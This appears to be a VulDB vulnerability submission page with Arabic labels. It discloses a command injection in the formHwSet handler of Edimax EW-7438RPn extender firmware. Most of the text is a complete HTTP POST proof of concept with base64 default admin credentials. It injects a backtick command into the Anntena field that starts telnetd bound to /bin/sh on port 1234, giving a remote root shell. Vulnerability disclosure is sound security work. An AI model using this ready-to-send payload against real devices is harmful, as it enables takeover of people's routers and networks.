إرسال #813893: Edimax EW-7438RPn 1.31 Command Injection

We found a command injection vulnerability in an Edimax extender with recently released firmware, which allows remote attackers to execute arbitrary OS commands via a crafted request.In formHwSet function, Anntena、Mcs、regDomain、nic0Addr、nic1Addr、wlanAddr、wanAddr、wlanSSID、wlanChan、initgain、txcck、txofdm、comd is directly passed by the attacker, so we can control the Anntena、Mcs、regDomain、nic0Addr、nic1Addr、wlanAddr、wanAddr、wlanSSID、wlanChan、initgain、txcck、txofdm、comd to attack the OS.

POST /goform/formHwSet HTTP/1.1
Host: 192.168.0.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
Origin: http://192.168.0.4
Authorization: Basic YWRtaW46MTIzNA==
Connection: keep-alive
Referer: http://192.168.0.4/flash.asp
Cookie: language=16
Upgrade-Insecure-Requests: 1
Priority: u=0, i

regDomain=2&nic0Addr=&nic1Addr=&wlanAddr=&wanAddr=&wlanSSID=&wlanChan=&Mcs=1&Anntena=`telnetd -l /bin/sh -p 1234`&save=Save+Changes&submit-url=%2Fflash.asp&isReboot=no

• المصدر: ⚠️ https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_9/9.md
• المستخدم: Bond_yes (UID 89043)
• ارسال: 27/04/2026 07:46 AM (1 شهر منذ)
• الاعتدال: 24/05/2026 08:59 AM (27 days later)
• الحالة: مكرر
• إدخال VulDB: 365322 [Edimax EW-7438RPn 1.28a POST Request /goform/formHwSet تجاوز الصلاحيات]
• النقاط: 0